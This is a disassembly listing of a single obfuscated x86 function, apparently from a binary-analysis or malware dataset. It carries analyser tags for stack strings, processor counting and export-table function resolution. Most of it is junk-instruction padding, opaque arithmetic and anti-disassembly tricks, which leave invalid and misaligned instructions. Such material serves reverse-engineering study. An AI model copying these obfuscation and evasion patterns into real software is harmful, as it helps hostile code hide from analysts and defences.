Function at 0x46cb80
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push ebx
push eax
add esp, 4
add ebx, 0xd97e
pop ebx
push edi
jmp 0x468bef
pop edi
push esi
xor esi, 0x45f9
add byte [esi + 0x52], bl
xor edx, 0xd51b
pop edx
push ecx
xor ecx, 0x38b3
and ecx, 0xdc5e
pop ecx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
lea ecx, [esi]
loope 0x468c24
invalid
mov edx, 0x53
add byte [esi - 0x77], ah
xchg ebp, eax
adc cl, ah
invalid
invalid
mov eax, 0x65
add byte gs:[eax], al
add byte [esi - 0x77], ah
test dword [edx], edx
loope 0x468c3c
invalid
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
add byte [esi - 0x77], ah
lea esp, [eax]
loope 0x468c90
invalid
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push ecx
add ecx, 0xbe49
and ecx, 0x1680e
add byte [ecx + 0x14bb3e9], al
add byte [ecx + 0x53], bl
push ebx
add esp, 4
sub ebx, 0x14bae
sub ebx, 0x167bf
and ebx, 0x15adc
or ebx, 0xb7f5
pop ebx
imul edx, dword [ebp - 0xfac], 0x138
xchg ebp, eax
push esp
invalid
invalid
invalid
cmp byte [ecx], al
add byte [eax], al
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push eax
or eax, 0xb486
pop eax
push ecx
push esi
add esp, 4
jmp 0x468d3d
xor ecx, 0x15154
xor ecx, 0x10c45
or ecx, 0x708f
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x9e01
pop ecx
mov dword [ebp - 0x10], 1
push ebx
push esi
add esp, 4
call 0x468d77
add byte [edx + 0x46], al
cmp cl, byte [esi + 0x35]
aas
inc ecx
dec edi
xor eax, dword [ebx - 0x147efb3c]
mov byte [ecx + eax], bh
add byte [ecx + 0x174e2e3], al
add byte [ebx + 0x53], bl
xor ebx, 0x13561
xor ebx, 0x12602
pop ebx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push edx
push esi
add esp, 4
or edx, 0x128eb
or edx, 0xb5fd
pop edx
push esi
or esi, 0x11749
pop esi
push ebx
push ecx
add esp, 4
call 0x468def
add byte [eax + 0x38], cl
cmp al, 0x4d
dec edx
cmp eax, 0x834b3f3e
les eax, [ebx + ebx*2]
push edx
push eax
add esp, 4
and edx, 0x12ecb
call 0x468e0d
add byte [ebx + 0x45], cl
aas
aas
cmp cl, byte [eax + 0x46]
xor al, 0x45
add esp, 4
pop edx
push esi
sub esi, 0x3f1b
add esi, 0x6af8
and esi, 0xfd12
pop esi
mov dword [ebp - 0x2c], 1
push ebx
push eax
add esp, 4
sub ebx, 0x3eb9
or ebx, 0x8355
add ebx, 0x18580
and ebx, 0x10638
pop ebx
push edi
push edi
add esp, 4
or edi, 0x153d5
jmp 0x468e5d
pop edi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x46903f
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push ebx
sub ebx, 0xe4c1
pop ebx
push esi
call 0x46906d
add byte [edx + 0x41], al
dec eax
xor esi, dword [esi]
xor eax, 0x4c4833e
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0x12aa6
and ecx, 0x7272
add ecx, 0x1286b
pop ecx
push ebx
and ebx, 0xe626
pop ebx
push edx
push eax
add esp, 4
add edx, 0x1475b
and edx, 0x9d43
xor edx, 0x182bc
pop edx
push edx
push ebx
add esp, 4
or edx, 0x6408
and edx, 0x5448
pop edx
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push ecx
sub ecx, 0x6fab
add ecx, 0x1179b
pop ecx
push edi
push eax
add esp, 4
or edi, 0x974
pop edi
push eax
push eax
add esp, 4
add eax, 0x318
sub eax, 0x12088
add eax, 0xe314
pop eax
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x469173
mov dword [ebp - 0x149c], 1
jmp 0x46917d
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x46c1f0
push edi
push ebx
add esp, 4
call 0x4691ad
add byte [eax + 0x33], dl
cmp cl, byte [eax + 0x4c]
inc esp
dec eax
xor al, 0x3e
inc esp
add esp, 4
sub edi, 0x1086f
add edi, 0x1509c
jmp 0x4691c1
pop edi
push ebx
add ebx, 0x11f42
pop ebx
push esi
push edx
add esp, 4
and esi, 0x7782
or esi, 0x57c6
sub esi, 0x1747
pop esi
push esi
push ebx
add esp, 4
xor esi, 0x13ca9
jmp 0x4691f5
xor esi, 0x5c67
pop esi
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x469377
push eax
sub eax, 0x99a5
add eax, 0x12856
and eax, 0x57d1
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x17aef
call 0x469271
add byte [esi + 0x4f], al
dec edx
cmp byte [eax + edx*2], bh
xor cl, byte [edi + 0x42]
add esp, 4
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push esi
call 0x4692d5
add byte [edi], bh
dec esp
dec edi
dec ecx
xor edi, dword [eax]
push eax
dec ebp
add esp, 4
pop esi
push esi
jmp 0x4692e0
pop esi
push edi
xor edi, 0x105a5
sub edi, 0xae98
jmp 0x4692f7
pop edi
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push ecx
or ecx, 0x240
pop ecx
push ebx
xor ebx, 0x1402f
pop ebx
push ebx
sub ebx, 0x13d4c
jmp 0x469361
xor ebx, 0x16815
call 0x469373
add byte [edx + 0x4c], al
dec esp
dec ebp
xor al, byte [edi - 0x7d]
les eax, [ebx + ebx*2]
push edx
push edx
add esp, 4
call 0x46938b
add byte [eax + 0x48], cl
xor al, 0x39
aas
dec eax
inc ecx
inc esi
add esp, 4
xor edx, 0x10364
pop edx
push ecx
add ecx, 0x9bc2
and ecx, 0x35a2
and ecx, 0x158bc
pop ecx
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push eax
push eax
add esp, 4
jmp 0x469405
add eax, 0xef64
xor eax, 0x2633
pop eax
push ebx
push ebx
add esp, 4
and ebx, 0xce2a
sub ebx, 0x5e23
and ebx, 0xfc90
pop ebx
mov eax, dword [ebp - 0x3bc]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x44f3644b
mov edx, dword [ebp - 0x3bc]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3bc]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3bc]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x1f58], ecx
push eax
push esi
add esp, 4
sub eax, 0xe149
pop eax
push edi
call 0x469495
add byte [ebp + 0x46], cl
inc ebx
inc ebx
xor eax, 0x4c48333
xor edi, 0xe172
call 0x4694aa
add byte [esi + edi], dh
inc ebx
inc esp
cmp al, 0x50
add esp, 4
pop edi
mov dword [ebp - 0x14a4], 1
push ebx
xor ebx, 0x126c1
pop ebx
push ebx
add ebx, 0x9277
add ebx, 0xfe9e
call 0x4694da
add byte [ecx + 0x3a], cl
inc esi
xor al, 0x3a
inc ebx
inc edi
add esp, 4
pop ebx
push edi
push ecx
add esp, 4
add edi, 0xbc27
pop edi
mov dword [ebp - 0x1f5c], 0x38
mov dword [ebp - 0x1f60], 0xe6
mov dword [ebp - 0x1f64], 0x6e
mov dword [ebp - 0x1f68], 0x6e
mov dword [ebp - 0x1f6c], 0x78
mov dword [ebp - 0x1530], 1
push ecx
push edi
add esp, 4
call 0x469537
add byte [edi + 0x3a], cl
xor eax, 0x83413c42
les eax, [ebx + ebp*8]
add al, 0x38
xor ecx, dword [eax + 0x3f]
or ecx, 0xe65c
call 0x469554
add byte [ebx + 0x49], al
aaa
inc ecx
cmp byte [esi], dh
aaa
add esp, 4
pop ecx
imul edx, dword [ebp - 0x1530], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x1530], 0x138
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1530]
imul ecx, dword [ebp - 0x1530], 0x138
sub edx, ecx
mov dword [ebp - 0x1534], edx
push edx
push eax
add esp, 4
add edx, 0xf4e
call 0x4695ad
add byte [eax + 0x46], dl
xor bh, byte ds:[ecx]
dec ecx
inc ecx
xor eax, dword [eax - 0x7d]
les eax, [ecx + eax*4]
loop 0x46956d
invalid
add byte ds:[eax], al
pop edx
push ebx
and ebx, 0x17364
or ebx, 0x14656
pop ebx
push ebx
push ecx
add esp, 4
and ebx, 0x13ed
add ebx, 0x1054b
or ebx, 0xf3cf
pop ebx
push eax
or eax, 0xcd93
sub eax, 0x1897
add eax, 0x13c17
and eax, 0xfada
pop eax
mov edx, dword [ebp - 0x928]
add edx, 0x138
imul eax, dword [ebp - 0x924], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x924], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x924]
mov dword [ebp - 0x1d4c], edx
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d50], edx
mov eax, dword [ebp - 0x1d50]
sub eax, 0x6e
mov dword [ebp - 0x1d54], eax
mov dword [ebp - 0xa08], 1
push esi
push eax
add esp, 4
xor esi, 0x3d7c
pop esi
push edx
push edi
add esp, 4
sub edx, 0x12116
or edx, 0xfe01
xor edx, 0x120d7
pop edx
push eax
add eax, 0x11924
and eax, 0x10af5
pop eax
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d54]
imul ecx, dword [ebp - 0xa08]
imul eax, dword [ebp - 0xa08], 0x138
sub ecx, eax
mov dword [ebp - 0xa0c], ecx
push ecx
xor ecx, 0x5157
sub ecx, 0xf090
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x12d36
call 0x4696e7
add byte [ecx], bh
cmp bh, byte [ecx]
inc esp
xor eax, 0x4d3e3f48
add esp, 4
and ebx, 0x11ba4
pop ebx
mov ecx, dword [ebp - 0x928]
add ecx, 0x138
imul edx, dword [ebp - 0x924], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x924], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x924]
mov dword [ebp - 0x1d58], ecx
mov ecx, dword [ebp - 0x1d58]
mov dword [ebp - 0x1d5c], ecx
mov edx, dword [ebp - 0x1d5c]
add edx, 0x38
mov dword [ebp - 0x1d60], edx
mov dword [ebp - 0xa10], 1
push esi
sub esi, 0x2872
and esi, 0x4118
pop esi
push esi
xor esi, 0x11968
or esi, 0x103bd
call 0x469775
add byte [eax], al
inc esi
dec eax
xor eax, 0x39384741
add esp, 4
add esi, 0x973d
pop esi
imul eax, dword [ebp - 0xa10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0xa10], 0x138
sub eax, ecx
xor eax, dword [ebp - 0x1d60]
imul eax, dword [ebp - 0xa10]
imul edx, dword [ebp - 0xa10], 0x138
sub eax, edx
mov dword [ebp - 0xa14], eax
push edi
jmp 0x4697c3
and edi, 0x16711
call 0x4697d9
add byte [esi + 0x48], cl
cmp bh, byte [0x3f484136]
cmp eax, 0x4c48335
pop edi
push ebx
push edi
add esp, 4
jmp 0x4697ea
pop ebx
push esi
push ecx
add esp, 4
or esi, 0x2d4
xor esi, 0xb757
xor esi, 0x11e89
pop esi
push ebx
push edi
add esp, 4
add ebx, 0x109a5
add ebx, 0xc24b
jmp 0x46981c
pop ebx
mov dword [ebp - 0x2d0], 1
push ebx
push edx
add esp, 4
or ebx, 0x8679
and ebx, 0x32c1
or ebx, 0x12f3a
call 0x46984d
add byte [edi], bh
inc ebx
dec eax
dec ebp
xor bh, byte [esi]
dec eax
inc eax
add esp, 4
pop ebx
push edi
or edi, 0x12a16
pop edi
imul eax, dword [ebp - 0x2d0], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x2d0], 0x138
sub eax, ecx
xor eax, 2
imul eax, dword [ebp - 0x2d0]
imul edx, dword [ebp - 0x2d0], 0x138
sub eax, edx
mov dword [ebp - 0x2d4], eax
push edi
push esi
add esp, 4
add edi, 0x13a6d
sub edi, 0x879e
pop edi
push esi
or esi, 0x2cb7
xor esi, 0x13d67
xor esi, 0x9be1
pop esi
push eax
push eax
add esp, 4
xor eax, 0x55ff
pop eax
mov eax, dword [ebp - 0x928]
mov ecx, dword [ebp - 0x924]
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x250], ecx
jmp 0x469ab0
push esi
push ecx
add esp, 4
and esi, 0x10eaa
or esi, 0xc6b
sub esi, 0x16ef6
pop esi
push edi
or edi, 0x12e2c
sub edi, 0xefc3
add edi, 0x17c1e
jmp 0x469910
pop edi
mov edx, dword [ebp - 0x254]
add edx, 0x138
imul eax, dword [ebp - 0x250], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x250], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x250]
mov dword [ebp - 0x1d68], edx
push eax
push edi
add esp, 4
add eax, 0xb475
jmp 0x46995a
xor eax, 0x8034
sub eax, 0xbc43
pop eax
push edx
push esi
add esp, 4
xor edx, 0xa7bd
add edx, 0xf58e
pop edx
mov edx, dword [ebp - 0x1d68]
sub edx, 1
mov dword [ebp - 0x14a0], edx
push esi
add esi, 0xca50
pop esi
push esi
and esi, 0xcdb2
pop esi
push esi
sub esi, 0xf409
xor esi, 0x149a0
pop esi
push eax
add eax, 0x90ab
or eax, 0x4591
xor eax, 0x5acc
pop eax
push eax
sub eax, 0x10a4a
jmp 0x4699c7
pop eax
push ecx
call 0x4699d6
add byte [edx + 0x38], cl
cmp dword [esi], edi
cmp al, 0x4f
aas
add esp, 4
add ecx, 0xa3a8
and ecx, 0x10e47
xor ecx, 0x8d4a
pop ecx
imul eax, dword [ebp - 0x250], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x250], 0x138
sub eax, ecx
xor eax, dword [ebp - 0x14a0]
imul eax, dword [ebp - 0x250]
imul edx, dword [ebp - 0x250], 0x138
sub eax, edx
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x14a0]
imul eax, dword [ebp - 0x250]
mov dword [ebp - 0x1d6c], eax
mov dword [ebp - 0x1538], 1
push eax
add eax, 0x69d5
add eax, 0x8878
call 0x469a5e
add byte [edi], dh
cmp byte [edx + 0x35], al
inc ebx
aas
inc esp
aas
add esp, 4
pop eax
push ebx
call 0x469a71
add byte [edx], dh
dec ebp
inc edi
inc esi
inc ebx
push eax
dec esi
cmp eax, 0x5b04c483
imul ecx, dword [ebp - 0x1538], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1538], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d6c]
imul ecx, dword [ebp - 0x1538]
imul eax, dword [ebp - 0x1538], 0x138
sub ecx, eax
mov dword [ebp - 0x153c], ecx
push ecx
push edx
add esp, 4
add ecx, 0x8836
pop ecx
push eax
push edx
add esp, 4
or eax, 0x13654
pop eax
push ecx
push eax
add esp, 4
jmp 0x469ad5
or ecx, 0xc72f
jmp 0x469ae1
pop ecx
mov ecx, dword [ebp - 0x254]
add ecx, 0x138
imul edx, dword [ebp - 0x250], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x250], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x250]
mov dword [ebp - 0x1d70], ecx
mov ecx, dword [ebp - 0x1d70]
mov dword [ebp - 0x1d74], ecx
cmp dword [ebp - 0x1d74], 0
jbe 0x46a026
push ebx
push eax
add esp, 4
jmp 0x469b40
jmp 0x469b46
pop ebx
push edi
add edi, 0xcf16
pop edi
push esi
jmp 0x469b55
and esi, 0xf770
pop esi
push ebx
add ebx, 0x10086
pop ebx
mov edx, dword [ebp - 0x254]
add edx, 0x138
imul eax, dword [ebp - 0x250], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x250], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x250]
mov dword [ebp - 0x1d78], edx
mov edx, dword [ebp - 0x1d78]
mov dword [ebp - 0x1d84], edx
push esi
jmp 0x469bae
add esi, 0xd283
pop esi
push eax
push ecx
add esp, 4
add eax, 0x12bd4
or eax, 0x35dc
call 0x469bd4
add byte [esi + 0x38], al
dec eax
inc edx
aas
xor al, 0x3d
dec ebp
add esp, 4
pop eax
mov eax, dword [ebp - 0xa0c]
add eax, 0x138
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0xa08]
mov dword [ebp - 0x1d7c], eax
mov eax, dword [ebp - 0x1d7c]
mov dword [ebp - 0x1d80], eax
mov ecx, dword [ebp - 0x14a4]
imul ecx, dword [ebp - 0x1d80]
cmp dword [ebp - 0x1d84], ecx
jne 0x469da9
push ecx
push edx
add esp, 4
jmp 0x469c3f
or ecx, 0x8c5c
and ecx, 0x77d6
sub ecx, 0x17901
pop ecx
push esi
call 0x469c61
add byte [ebx + 0x35], al
dec esp
inc edx
inc eax
inc ebp
dec esi
xor eax, 0x5e04c483
push esi
xor esi, 0x4b94
sub esi, 0x385a
add esi, 0x5b3
jmp 0x469c7f
pop esi
push eax
push esi
add esp, 4
jmp 0x469c8a
and eax, 0x1444d
add eax, 0x158e2
pop eax
mov edx, dword [ebp - 0x2d4]
add edx, 0x138
imul eax, dword [ebp - 0x2d0], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x2d0], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x2d0]
mov dword [ebp - 0x1d88], edx
mov edx, dword [ebp - 0x1d88]
mov dword [ebp - 0x1d8c], edx
mov eax, dword [ebp - 0x1d8c]
sub eax, 1
mov dword [ebp - 0x1d90], eax
mov dword [ebp - 0xfbc], 1
push ebx
call 0x469d01
add byte [ecx], bh
dec ebp
cmp byte [ebp + 0x3c], cl
xor eax, 0xc4833a4a
add al, 0xeb
add eax, 0x4f374036
dec esp
pop ebx
push eax
push edi
add esp, 4
and eax, 0xb54b
pop eax
push eax
push eax
add esp, 4
and eax, 0x18487
pop eax
imul ecx, dword [ebp - 0xfbc], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfbc], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d90]
imul ecx, dword [ebp - 0xfbc]
imul eax, dword [ebp - 0xfbc], 0x138
sub ecx, eax
mov dword [ebp - 0xfc0], ecx
mov ecx, dword [ebp - 0xfc0]
mov edx, dword [ebp - 0xfbc]
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x2d0], edx
push edx
push ebx
add esp, 4
sub edx, 0xbcaa
or edx, 0xa0e
sub edx, 0x9615
add edx, 0x103d1
pop edx
push ecx
xor ecx, 0x6877
xor ecx, 0x7740
and ecx, 0x173c0
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0x166cf
jmp 0x469dbc
xor ebx, 0xf1d5
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0x2202
pop edx
push ecx
push edx
add esp, 4
jmp 0x469dda
pop ecx
mov eax, dword [ebp - 0x254]
add eax, 0x138
imul ecx, dword [ebp - 0x250], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x250], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x250]
mov dword [ebp - 0x1d94], eax
mov eax, dword [ebp - 0x1d94]
mov dword [ebp - 0x1da0], eax
push ebx
push ebx
add esp, 4
and ebx, 0x11d39
pop ebx
push ecx
and ecx, 0x1105d
jmp 0x469e39
pop ecx
push edx
push esi
add esp, 4
jmp 0x469e48
or edx, 0xe20d
pop edx
mov ecx, dword [ebp - 0xa14]
add ecx, 0x138
imul edx, dword [ebp - 0xa10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xa10], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0xa10]
mov dword [ebp - 0x1d98], ecx
mov ecx, dword [ebp - 0x1d98]
mov dword [ebp - 0x1d9c], ecx
mov edx, dword [ebp - 0x14a4]
imul edx, dword [ebp - 0x1d9c]
cmp dword [ebp - 0x1da0], edx
jne 0x46a021
push ebx
call 0x469ebb
add byte [eax + 0x4d], cl
dec esp
dec edi
aas
cmp eax, dword [esp + eax*2 + 0x34]
add esp, 4
or ebx, 0x4c2d
xor ebx, 0x11a83
and ebx, 0x17af2
pop ebx
push esi
push esi
add esp, 4
add esi, 0x5726
pop esi
push esi
call 0x469eeb
add byte [edx + 0x38], cl
cmp eax, dword [ebp + 0x4e]
push eax
cmp eax, dword [ebx - 0x397efb3c]
inc dword [ebx]
add bl, ch
push es
inc eax
inc edx
dec edx
dec ebx
inc edi
cmp al, 0xe8
or al, byte [eax]
add byte [eax], al
add byte [eax + 0x3e], cl
cmp eax, 0x4848333a
inc ebx
cmp eax, 0x5e04c483
mov eax, dword [ebp - 0x2d4]
add eax, 0x138
imul ecx, dword [ebp - 0x2d0], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2d0], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x1da4], eax
mov eax, dword [ebp - 0x1da4]
mov dword [ebp - 0x1da8], eax
mov ecx, dword [ebp - 0x1da8]
sub ecx, 1
mov dword [ebp - 0x1dac], ecx
mov dword [ebp - 0xfc4], 1
push edx
push edi
add esp, 4
or edx, 0x131d4
sub edx, 0xef34
or edx, 0x17a3e
call 0x469f8f
add byte [edx], bh
dec ebx
dec esp
inc ecx
cmp eax, 0x4c48349
pop edx
push edi
jmp 0x469f9b
pop edi
imul edx, dword [ebp - 0xfc4], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfc4], 0x138
sub edx, eax
xor edx, dword [ebp - 0x1dac]
imul edx, dword [ebp - 0xfc4]
imul ecx, dword [ebp - 0xfc4], 0x138
sub edx, ecx
mov dword [ebp - 0xfc8], edx
mov edx, dword [ebp - 0xfc8]
mov eax, dword [ebp - 0xfc4]
mov dword [ebp - 0x2d4], edx
mov dword [ebp - 0x2d0], eax
push esi
push esi
add esp, 4
jmp 0x469ffd
and esi, 0x71e5
xor esi, 0x18df
pop esi
push esi
jmp 0x46a014
pop esi
push edx
push edi
add esp, 4
xor edx, 0xffb8
pop edx
jmp 0x4698df
push edi
sub edi, 0xae3f
jmp 0x46a032
sub edi, 0x16b80
or edi, 0x94a7
pop edi
push edx
push esi
add esp, 4
add edx, 0x10ebd
jmp 0x46a051
xor edx, 0xeb06
pop edx
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2d0]
mov dword [ebp - 0x1f0c], ecx
mov dword [ebp - 0x1f08], edx
lea eax, [ebp - 0x1f0c]
mov dword [ebp - 0x1db0], eax
mov ecx, dword [ebp - 0x1db0]
mov dword [ebp - 0xa74], ecx
push edx
push esi
add esp, 4
and edx, 0x6fe9
add edx, 0xe07e
sub edx, 0xb341
or edx, 0x76f8
pop edx
push edx
jmp 0x46a0ac
sub edx, 0xe5ee
jmp 0x46a0b9
pop edx
mov edx, dword [ebp - 0xa74]
mov eax, dword [edx]
add eax, 0x138
mov ecx, dword [ebp - 0xa74]
imul edx, dword [ecx + 4], 0x138
add edx, 0x44f3644b
mov ecx, dword [ebp - 0xa74]
imul ecx, dword [ecx + 4], 0x138
sub edx, ecx
xor eax, edx
mov edx, dword [ebp - 0xa74]
imul eax, dword [edx + 4]
mov dword [ebp - 0x1db4], eax
mov eax, dword [ebp - 0x1db4]
mov dword [ebp - 0x1dbc], eax
mov ecx, dword [ebp - 0x1db8]
sub ecx, dword [ebp - 0x1dbc]
mov dword [ebp - 0x1dc0], ecx
mov dword [ebp - 0xfcc], 1
push ecx
add ecx, 0x9ecd
pop ecx
push esi
add esi, 0x844b
call 0x46a13f
add byte [edi + 0x39], al
cmp byte [ecx], bh
xor eax, 0xc4834542
add al, 0x5e
push edi
push edx
add esp, 4
add edi, 0x3eee
sub edi, 0x15b8e
pop edi
imul edx, dword [ebp - 0xfcc], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfcc], 0x138
sub edx, eax
xor edx, dword [ebp - 0x1dc0]
imul edx, dword [ebp - 0xfcc]
imul ecx, dword [ebp - 0xfcc], 0x138
sub edx, ecx
mov dword [ebp - 0xfd0], edx
mov edx, dword [ebp - 0xfd0]
mov eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
push esi
push ebx
add esp, 4
sub esi, 0x8202
call 0x46a1bc
add byte [ecx + 0x35], al
aaa
aas
cmp dword [esi + 0x43], eax
cmp byte [ebx + eax*4], bh
les eax, [ecx + eax*4]
test byte [eax - 0x7efffeb0], 0xc6
hlt
mov dword [ebp - 0x3c0], 0
call 0x46c1ff
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push esi
push ecx
add esp, 4
sub esi, 0x901d
sub esi, 0x36bc
pop esi
push edi
xor edi, 0x14706
call 0x46c231
add byte [edi + 0x4b], cl
inc ebp
cmp cl, byte [edi + 0x47]
aas
add esp, 4
pop edi
push ecx
and ecx, 0x13325
pop ecx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push esi
jmp 0x46c251
pop esi
push ecx
push ecx
add esp, 4
or ecx, 0xb16b
jmp 0x46c263
pop ecx
push edx
add edx, 0x32ea
xor edx, 0x8760
pop edx
push ecx
jmp 0x46c27a
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
